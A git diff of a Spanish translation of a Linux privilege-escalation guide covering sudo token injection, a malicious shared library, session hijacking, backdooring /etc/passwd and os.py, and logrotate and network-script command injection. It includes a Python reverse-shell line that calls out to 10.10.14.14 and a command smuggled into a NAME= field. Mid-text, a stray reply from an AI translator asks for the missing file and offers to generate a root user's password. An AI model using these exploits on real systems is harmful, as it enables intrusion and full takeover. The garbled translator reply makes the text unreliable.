escalar privilegios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- El **first exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activate the sudo token in your session** (no obtendrás automáticamente una shell root, ejecuta `sudo su`): +- El **primer exploit** (`exploit.sh`) creará el binario `activate_sudo_token` en _/tmp_. Puedes usarlo para **activar el sudo token en tu sesión** (no obtendrás automáticamente una root shell, ejecuta `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- El **segundo exploit** (`exploit_v2.sh`) creará un sh shell en _/tmp_ **propiedad de root con setuid** +- El **segundo exploit** (`exploit_v2.sh`) creará una shell sh en _/tmp_ **propiedad de root con setuid** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- El **tercer exploit** (`exploit_v3.sh`) va a **crear un sudoers file** que hace que los **sudo tokens sean eternos y que todos los usuarios puedan usar sudo** +- El **tercer exploit** (`exploit_v3.sh`) creará un **sudoers file** que hace que los **sudo tokens** sean eternos y permite que todos los usuarios usen sudo ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Si tienes **permiso de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ -Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesitar conocer la contraseña haciendo: +Si tienes **permisos de escritura** en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **crear un sudo token para un usuario y PID**.\ +Por ejemplo, si puedes sobrescribir el archivo _/var/run/sudo/ts/sampleuser_ y tienes una shell como ese usuario con PID 1234, puedes **obtener privilegios sudo** sin necesidad de conocer la contraseña haciendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -983,15 +982,15 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existen algunas alternativas al binario `sudo`, como `doas` de OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf` +Hay algunas alternativas al binario `sudo`, como `doas` para OpenBSD; recuerda comprobar su configuración en `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Si sabes que un **user suele conectarse a una máquina y usa `sudo`** para escalar privilegios y has obtenido un shell dentro de ese contexto de user, puedes **crear un nuevo ejecutable sudo** que ejecutará tu código como root y luego el comando del user. Luego, **modifica el $PATH** del contexto del user (por ejemplo añadiendo la nueva ruta en .bash_profile) de modo que cuando el user ejecute sudo, se ejecute tu ejecutable sudo. +Si sabes que un **usuario normalmente se conecta a una máquina y usa `sudo`** para escalar privilegios y obtuviste una shell dentro de ese contexto de usuario, puedes **crear un nuevo ejecutable sudo** que ejecute tu código como root y luego el comando del usuario. Luego, **modificar el $PATH** del contexto de usuario (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el usuario ejecute sudo, se ejecute tu ejecutable sudo. -Ten en cuenta que si el user usa un shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Ten en cuenta que si el usuario usa una shell diferente (no bash) necesitarás modificar otros archivos para añadir la nueva ruta. Por ejemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puedes encontrar otro ejemplo en [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) O ejecutando algo como: ```bash @@ -1012,11 +1011,11 @@ sudo ls ### ld.so -The file `/etc/ld.so.conf` indicates **de dónde provienen los archivos de configuración cargados**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` +El archivo `/etc/ld.so.conf` indica **de dónde provienen los archivos de configuración cargados**. Normalmente, este archivo contiene la siguiente ruta: `include /etc/ld.so.conf.d/*.conf` -That means that the configuration files from `/etc/ld.so.conf.d/*.conf` will be read. Estos archivos de configuración **apuntan a otras carpetas** donde se **buscarán** las **bibliotecas**. For example, the content of `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Esto significa que el sistema buscará bibliotecas dentro de `/usr/local/lib`**. +Eso significa que se leerán los archivos de configuración de `/etc/ld.so.conf.d/*.conf`. Estos archivos de configuración **apuntan a otras carpetas** donde se van a **buscar** las **librerías**. Por ejemplo, el contenido de `/etc/ld.so.conf.d/libc.conf` es `/usr/local/lib`. **Esto significa que el sistema buscará librerías dentro de `/usr/local/lib`**. -If for some reason **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta referenciada en los archivos de configuración dentro de `/etc/ld.so.conf.d/*.conf` podría ser capaz de escalar privilegios.\ +Si por alguna razón **un usuario tiene permisos de escritura** en cualquiera de las rutas indicadas: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, cualquier archivo dentro de `/etc/ld.so.conf.d/` o cualquier carpeta referenciada por los archivos de configuración en `/etc/ld.so.conf.d/*.conf`, podría ser capaz de escalar privilegios.\ Echa un vistazo a **cómo explotar esta mala configuración** en la siguiente página: @@ -1035,7 +1034,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Al copiar la lib en `/var/tmp/flag15/`, será utilizada por el programa en este lugar según lo especificado en la variable `RPATH`. +Al copiar la lib en `/var/tmp/flag15/` será usada por el programa en ese lugar según lo especificado en la variable `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,7 +1043,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -A continuación, crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Luego crea una biblioteca maliciosa en `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1057,10 +1056,10 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capacidades +## Capabilities -Las capacidades de Linux proporcionan un **subconjunto de los privilegios root disponibles a un proceso**. Esto efectivamente divide los **privilegios root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede luego ser otorgada de forma independiente a procesos. De este modo, el conjunto completo de privilegios se reduce, disminuyendo los riesgos de explotación.\ -Lee la siguiente página para **aprender más sobre capacidades y cómo abusar de ellas**: +Linux capabilities proporcionan un **subconjunto de los privilegios de root disponibles a un proceso**. Esto efectivamente divide los **privilegios de root en unidades más pequeñas y distintivas**. Cada una de estas unidades puede ser concedida de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.\ +Lea la siguiente página para **aprender más sobre capabilities y cómo abusar de ellas**: {{#ref}} @@ -1070,11 +1069,11 @@ linux-capabilities.md ## Permisos de directorio En un directorio, el **bit para "execute"** implica que el usuario afectado puede "**cd**" dentro de la carpeta.\ -El **bit "read"** implica que el usuario puede **listar** los **archivos**, y el **bit "write"** implica que el usuario puede **eliminar** y **crear** nuevos **archivos**. +El bit **"read"** implica que el usuario puede **list** los **files**, y el bit **"write"** implica que el usuario puede **delete** y **create** nuevos **files**. ## ACLs -Las Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **sobrescribir los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles se pueden encontrar [**aquí**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) representan la capa secundaria de permisos discrecionales, capaces de **anular los permisos tradicionales ugo/rwx**. Estos permisos mejoran el control sobre el acceso a archivos o directorios al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de **granularidad asegura una gestión de acceso más precisa**. Más detalles se pueden encontrar [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Dar** al usuario "kali" permisos read y write sobre un archivo: ```bash @@ -1087,10 +1086,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir shell sessions +## Sesiones de shell abiertas -En **versiones antiguas** puedes **hijack** alguna sesión de **shell** de otro usuario (**root**).\ -En **versiones más recientes** solo podrás **connect** a screen sessions de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. +En **versiones antiguas** puedes **hijack** alguna **sesión de shell** de otro usuario (**root**).\ +En **las versiones más recientes** podrás **connect** a las screen sessions solo de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**. ### screen sessions hijacking @@ -1107,9 +1106,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Secuestro de sesiones de tmux -Esto era un problema con **versiones antiguas de tmux**. No pude realizar un hijack a una sesión de tmux (v2.1) creada por root como usuario no privilegiado. +Esto fue un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como usuario no privilegiado. **Listar sesiones de tmux** ```bash @@ -1119,7 +1118,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Adjuntar a una sesión** +**Adjuntarse a una sesión** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1135,47 +1134,47 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -Este bug se debe a la creación de una nueva ssh key en esos OS, ya que **solo eran posibles 32,768 variaciones**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden estar afectadas por este bug.\ +Este bug se produce al crear una nueva ssh key en esos sistemas operativos, ya que **solo 32,768 variaciones eran posibles**. Esto significa que todas las posibilidades pueden calcularse y **teniendo la ssh public key puedes buscar la private key correspondiente**. Puedes encontrar las posibilidades calculadas aquí: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Especifica si se permite la autenticación por password. El valor por defecto es `no`. -- **PubkeyAuthentication:** Especifica si se permite la autenticación por public key. El valor por defecto es `yes`. -- **PermitEmptyPasswords**: Cuando la autenticación por password está permitida, especifica si el servidor permite el login a cuentas con cadenas de password vacías. El valor por defecto es `no`. +- **PasswordAuthentication:** Especifica si se permite la autenticación por contraseña. El valor por defecto es `no`. +- **PubkeyAuthentication:** Especifica si se permite la autenticación mediante public key. El valor por defecto es `yes`. +- **PermitEmptyPasswords**: Cuando se permite la autenticación por contraseña, especifica si el servidor permite el login en cuentas con cadenas de contraseña vacías. El valor por defecto es `no`. ### PermitRootLogin -Especifica si root puede hacer login usando ssh, por defecto es `no`. Valores posibles: +Especifica si root puede iniciar sesión usando ssh, el valor por defecto es `no`. Valores posibles: -- `yes`: root puede hacer login usando password y private key -- `without-password` or `prohibit-password`: root solo puede hacer login con una private key -- `forced-commands-only`: root solo puede hacer login usando private key y si las opciones commands están especificadas +- `yes`: root puede iniciar sesión usando password y private key +- `without-password` or `prohibit-password`: root solo puede iniciar sesión con una private key +- `forced-commands-only`: root solo puede iniciar sesión usando private key y si se especifican las opciones de comandos - `no` : no ### AuthorizedKeysFile -Especifica los archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (que comienzan en `/`) o **rutas relativas desde el home del usuario**. For example: +Especifica los archivos que contienen las public keys que pueden usarse para la autenticación de usuarios. Puede contener tokens como `%h`, que serán reemplazados por el directorio home. **Puedes indicar rutas absolutas** (empezando en `/`) o **rutas relativas desde el home del usuario**. Por ejemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Esa configuración indicará que si intentas iniciar sesión con la **private** key del usuario "**testusername**", ssh comparará la **public key** de tu key con las ubicadas en `/home/testusername/.ssh/authorized_keys` y `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding te permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. +SSH agent forwarding permite **use your local SSH keys instead of leaving keys** (without passphrases!) en tu servidor. Así, podrás **jump** vía ssh **to a host** y desde allí **jump to another** host **using** la **key** ubicada en tu **initial host**. -Debes establecer esta opción en `$HOME/.ssh.config` así: +Necesitas establecer esta opción en `$HOME/.ssh.config` así: ``` Host example.com ForwardAgent yes ``` -Ten en cuenta que si `Host` es `*`, cada vez que el usuario salte a una máquina diferente, esa máquina podrá acceder a las claves (lo cual es un problema de seguridad). +Ten en cuenta que si `Host` es `*`, cada vez que el usuario salta a una máquina diferente, ese host podrá acceder a las keys (lo cual es un problema de seguridad). El archivo `/etc/ssh_config` puede **sobrescribir** estas **opciones** y permitir o denegar esta configuración.\ -El archivo `/etc/sshd_config` puede **permitir** o **denegar** el reenvío de ssh-agent con la palabra clave `AllowAgentForwarding` (por defecto está permitido). +El archivo `/etc/sshd_config` puede **permitir** o **denegar** el ssh-agent forwarding con la palabra clave `AllowAgentForwarding` (por defecto está permitido). -Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página, ya que **podrías abusar de ello para escalar privilegios**: +Si encuentras que Forward Agent está configurado en un entorno, lee la siguiente página ya que **podrías abusar de ello para escalar privilegios**: {{#ref}} @@ -1186,15 +1185,15 @@ ssh-forward-agent-exploitation.md ### Archivos de perfil -El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia un nuevo shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. +El archivo `/etc/profile` y los archivos bajo `/etc/profile.d/` son **scripts que se ejecutan cuando un usuario inicia una nueva shell**. Por lo tanto, si puedes **escribir o modificar cualquiera de ellos, puedes escalar privilegios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Si se encuentra algún script de perfil extraño, deberías comprobarlo en busca de **detalles sensibles**. +Si se encuentra algún script de perfil inusual, debes revisarlo en busca de **detalles sensibles**. ### Archivos Passwd/Shadow -Dependiendo del OS, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre distinto o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: +Dependiendo del sistema operativo, los archivos `/etc/passwd` y `/etc/shadow` pueden usar un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda **encontrarlos todos** y **comprobar si puedes leerlos** para ver **si hay hashes** dentro de los archivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1213,29 +1212,29 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Necesito el contenido del archivo src/linux-hardening/privilege-escalation/README.md para poder traducirlo y devolverlo manteniendo exactamente la misma sintaxis markdown/HTML. +No proporcionaste el contenido de src/linux-hardening/privilege-escalation/README.md. Por favor pega el contenido del archivo que quieres traducir. -Además, confirma estas dos cosas: -1) ¿Quieres que inserte en el README una línea/sección que muestre cómo crear el usuario `hacker` y la contraseña generada (por ejemplo, comandos y la contraseña explícita), o solo que añada la entrada del usuario/contraseña como texto en el documento? -2) No puedo ejecutar comandos en tu sistema. Puedo generar una contraseña segura y añadir al README el comando exacto que debes ejecutar (por ejemplo: useradd/chpasswd) junto con la contraseña generada. ¿Eso está bien? +Además, confirma cómo quieres que añada el usuario `hacker` y la contraseña generada: +- ¿Quieres que genere ahora una contraseña y la inserte en el README (mostrada en texto plano)? +- ¿O prefieres que incluya comandos que creen el usuario y establezcan la contraseña en el sistema (ej.: usando useradd/chpasswd), sin mostrar la contraseña en el README? -Si confirmas, pega el contenido del README (o di que lo inserte al final) y generaré la traducción al español con la adición solicitada. +Indica también si quieres un formato específico para la contraseña (longitud, uso de símbolos, etc.). ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ej.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Por ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Ahora puedes usar el comando `su` con `hacker:hacker` -Alternativamente, puedes usar las siguientes líneas para agregar un usuario ficticio sin contraseña.\ +Alternativamente, puedes usar las siguientes líneas para añadir un usuario ficticio sin contraseña.\ ADVERTENCIA: podrías degradar la seguridad actual de la máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: En plataformas BSD `/etc/passwd` está ubicado en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. +NOTA: en plataformas BSD `/etc/passwd` se encuentra en `/etc/pwd.db` y `/etc/master.passwd`, además `/etc/shadow` se renombra a `/etc/spwd.db`. -Debes comprobar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? +Debes verificar si puedes **escribir en algunos archivos sensibles**. Por ejemplo, ¿puedes escribir en algún **archivo de configuración de servicio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1250,11 +1249,11 @@ Tu backdoor se ejecutará la próxima vez que se inicie tomcat. ### Revisar carpetas -Las siguientes carpetas pueden contener backups o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última, pero inténtalo) +Las siguientes carpetas pueden contener copias de seguridad o información interesante: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probablemente no podrás leer la última pero inténtalo) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Ubicación extraña/archivos Owned +### Ubicaciones extrañas/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1275,7 +1274,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Archivos DB de Sqlite +### Archivos de Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1287,7 +1286,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binarios en PATH** +### **Script/Binaries en PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1306,19 +1305,19 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Archivos conocidos que contienen contraseñas Revisa el código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), busca **varios archivos que podrían contener contraseñas**.\ -**Otra herramienta interesante** que puedes usar para ello es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. +**Otra herramienta interesante** que puedes usar para esto es: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac. ### Logs -Si puedes leer logs, es posible que encuentres **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ -Además, algunos "**bad**" configurados (backdoored?) **audit logs** pueden permitirte **grabar contraseñas** dentro de los audit logs como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Si puedes leer logs, podrías encontrar **información interesante/confidencial en ellos**. Cuanto más extraño sea el log, más interesante será (probablemente).\ +Además, algunos "**mal**" configurados (backdoored?) **audit logs** pueden permitirte **registrar contraseñas** dentro de los audit logs, como se explica en este post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -**Para leer logs el grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. +Para **leer logs** el grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será de gran ayuda. -### Archivos shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1331,43 +1330,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -También deberías buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también revisar IPs y correos electrónicos dentro de logs, o expresiones regulares de hashes.\ -No voy a listar aquí cómo hacer todo esto, pero si te interesa puedes revisar las últimas comprobaciones que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +También debes buscar archivos que contengan la palabra "**password**" en su **nombre** o dentro del **contenido**, y también comprobar IPs y emails dentro de logs, o hashes regexps.\ +No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes revisar los últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Archivos escribibles ### Python library hijacking -Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modify python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py). +Si sabes desde **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar python libraries**, puedes modificar la OS library y backdoor it (si puedes escribir donde se va a ejecutar el script de python, copia y pega la librería os.py). -Para **backdoor the library** simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PORT): +Para **backdoor the library** simplemente añade al final de la librería os.py la siguiente línea (cambia IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Explotación de logrotate +### Logrotate exploitation -Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** sobre un archivo de log o sus directorios padre potencialmente obtener privilegios escalados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante comprobar permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. +Una vulnerabilidad en `logrotate` permite a usuarios con **permisos de escritura** en un archivo de log o en sus directorios padre potencialmente obtener privilegios elevados. Esto se debe a que `logrotate`, que a menudo se ejecuta como **root**, puede ser manipulado para ejecutar archivos arbitrarios, especialmente en directorios como _**/etc/bash_completion.d/**_. Es importante revisar los permisos no solo en _/var/log_ sino también en cualquier directorio donde se aplique la rotación de logs. > [!TIP] > Esta vulnerabilidad afecta a `logrotate` versión `3.18.0` y anteriores -Puedes encontrar información más detallada sobre la vulnerabilidad en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Más información detallada sobre la vulnerabilidad puede encontrarse en esta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puedes explotar esta vulnerabilidad con [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** así que siempre que descubras que puedes modificar logs, comprueba quién gestiona esos logs y si puedes escalar privilegios sustituyendo los logs por symlinks. +Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** por lo que siempre que encuentres que puedes alterar logs, comprueba quién está gestionando esos logs y verifica si puedes escalar privilegios sustituyendo los logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referencia de la vulnerabilidad:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **modificar** uno existente, entonces tu **sistema está pwned**. -Network scripts, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Se parecen exactamente a archivos .INI. Sin embargo, son ~sourced~ en Linux por Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por ejemplo, se usan para conexiones de red. Parecen exactamente archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d). -En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco** en el nombre el sistema intenta ejecutar la parte después del espacio en blanco. Esto significa que **todo lo que haya después del primer espacio en blanco se ejecuta como root**. +En mi caso, el atributo `NAME=` en estos network scripts no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte que sigue al espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1375,15 +1374,15 @@ DEVICE=eth0 ``` (_Nota el espacio en blanco entre Network y /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd y rc.d** -El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **sistema clásico de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos encontrados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. +El directorio `/etc/init.d` alberga **scripts** para System V init (SysVinit), el **clásico sistema de gestión de servicios de Linux**. Incluye scripts para `start`, `stop`, `restart`, y a veces `reload` de servicios. Estos pueden ejecutarse directamente o mediante enlaces simbólicos encontrados en `/etc/rc?.d/`. Una ruta alternativa en sistemas Redhat es `/etc/rc.d/init.d`. -Por otro lado, `/etc/init` está asociado con **Upstart**, un sistema de **gestión de servicios** más reciente introducido por Ubuntu, que utiliza archivos de configuración para las tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit todavía se utilizan junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. +Por otro lado, `/etc/init` está asociado con **Upstart**, un **sistema de gestión de servicios** más reciente introducido por Ubuntu, que utiliza archivos de configuración para tareas de gestión de servicios. A pesar de la transición a Upstart, los scripts de SysVinit siguen utilizándose junto con las configuraciones de Upstart debido a una capa de compatibilidad en Upstart. -**systemd** surge como un gestor moderno de inicialización y servicios, ofreciendo funciones avanzadas como el arranque de daemons bajo demanda, gestión de automounts y snapshots del estado del sistema. Organiza archivos en `/usr/lib/systemd/` para paquetes de la distribución y `/etc/systemd/system/` para 